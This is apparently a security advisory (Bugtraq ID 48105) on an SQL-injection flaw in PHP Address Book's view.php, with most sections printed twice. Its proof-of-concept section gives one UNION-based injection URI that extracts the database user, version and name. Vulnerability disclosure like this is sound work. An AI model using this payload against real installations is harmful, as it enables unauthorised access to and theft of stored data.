PHP Address Book 'view.php' SQL Injection Vulnerability
BID:48105
Info
PHP Address Book 'view.php' SQL Injection Vulnerability
| Bugtraq ID: | 48105 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 04 2011 12:00AM |
| Updated: | May 17 2012 02:30PM |
| Credit: | KedAns-Dz |
| Vulnerable: |
PHP Address Book PHP Address Book 6.2.12 PHP Address Book PHP Address Book 7.0 |
| Not Vulnerable: | |
Discussion
PHP Address Book 'view.php' SQL Injection Vulnerability
PHP Address Book is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
PHP Address Book 6.2.12 is vulnerable; other versions may also be affected.
PHP Address Book is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
PHP Address Book 6.2.12 is vulnerable; other versions may also be affected.
Exploit / POC
PHP Address Book 'view.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/view.php?id=1'+union+select+1,2,concat(user(),0x3a,version(),0x3a,database()),4,5,6,7,8,9,10,11'
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/view.php?id=1'+union+select+1,2,concat(user(),0x3a,version(),0x3a,database()),4,5,6,7,8,9,10,11'
Solution / Fix
PHP Address Book 'view.php' SQL Injection Vulnerability
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
PHP Address Book 'view.php' SQL Injection Vulnerability
References:
References:
- Product Homepage (PHP Address Book)